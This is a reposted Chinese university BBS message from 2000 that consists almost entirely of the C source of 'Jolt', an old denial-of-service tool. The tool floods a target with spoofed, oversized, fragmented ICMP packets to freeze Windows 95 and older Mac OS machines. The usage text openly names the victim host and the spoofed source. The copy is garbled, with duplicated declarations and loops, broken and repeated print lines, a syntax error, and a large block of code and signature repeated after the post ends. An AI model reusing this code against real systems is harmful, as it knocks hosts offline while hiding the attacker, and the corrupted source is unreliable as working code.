荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: bstone (Sealed!), 信区: Hacker
标 题: jolt.c
发信站: BBS 荔园晨风站 (Mon Apr 10 21:36:59 2000), 转信
发信人: cloudsky (小四), 信区: Security
标 题: jolt.c
发信站: 武汉白云黄鹤站 (Mon Apr 10 11:42:32 2000), 站内信件
/* Jolt 1.0 (c) 1997 by Jeff w. Roberson
* Please, if you use my code give me credit. Also, if i was the first to
* find this glitch, please give me credit. Thats all i ask.
*
* Ok so all this does is build a really fraggmented over sized packet
* and once win95 gets it, and puts it back together it locks. I send
* multiple packets by default cause some times it takes a few packets to
* totally freeze the host. Maybe its spending processor time to figure
* out how to put them back together? I've had reports of people blue
* screening from it tho so we'll let Microsoft's boys figure out exactly
* what this does to 95. As of now i haven't tested it on NT, but maybe
* i will later ;). All of this source wasn't origonally written by me
* I just took one of the old programs to kill POSIX and SYSV based
* systems and worked on it abit, then made it spoof =).
* VallaH (yaway@hotmail.com)
*
* Update: It apears to work on some older versions of mac os
*/
/* Yah this is for linux, but i like the BSD ip header better then linux's */
#define __BSD_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
int main(int argc, char **argv)
{
int s,i;
char buf[400];
struct ip *ip = (struct ip *)buf;
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
struct hostent *hp, *hp2;
struct sockaddr_in dst;
int offset;
int offset;
int on = 1;
int num = 5;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) {
printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by Vl
laH (yaway@hotmail.com)\n");
printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]);
printf("\tdstaddr is the host your attacking\n");
printf("\tsaddr is the host your spoofing from\n");
printf("\tNumber is the number of packets to send, 5 is the defu
lt\n");
printf("\nNOTE: This is based on a bug that used to affect POSX
printf("\nNOTE: This is based on a bug that used to affect POSX
complient, and SYSV \n\t systems so its nothing new..\n");
printf("\nGreets to Bill Gates! How do ya like this one? :-)\n";
exit(1);
}
if (argc == 4) num = atoi(argv[3]);
for (i=1;i<=num;i++) {
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
exit(1);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
if ((hp2 = gethostbyname(argv[2])) == NULL) {
if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[2]);
exit(1);
}
}
} else {
bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
}
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = htons(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_csum = 0; /* kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons(~(ICMP_ECHO << 8));
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = htons(offset >> 3);
if (offset < 65120)
ip->ip_off |= htons(0x2000);
else
ip->ip_len = htons(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
}
return 0;
}
--
我问飘逝的风:来迟了?
风感慨:是的,他们已经宣战。
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = htons(offset >> 3);
if (offset < 65120)
ip->ip_off |= htons(0x2000);
else
ip->ip_len = htons(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
}
return 0;
}
--
我问飘逝的风:来迟了?
风感慨:是的,他们已经宣战。
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
我问苏醒的大地:还有希望么?
大地揉了揉眼睛:还有,还有无数代的少年。
我问长空中的英魂:你们相信?
英魂带着笑意离去:相信,希望还在。
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124]
--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.106]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店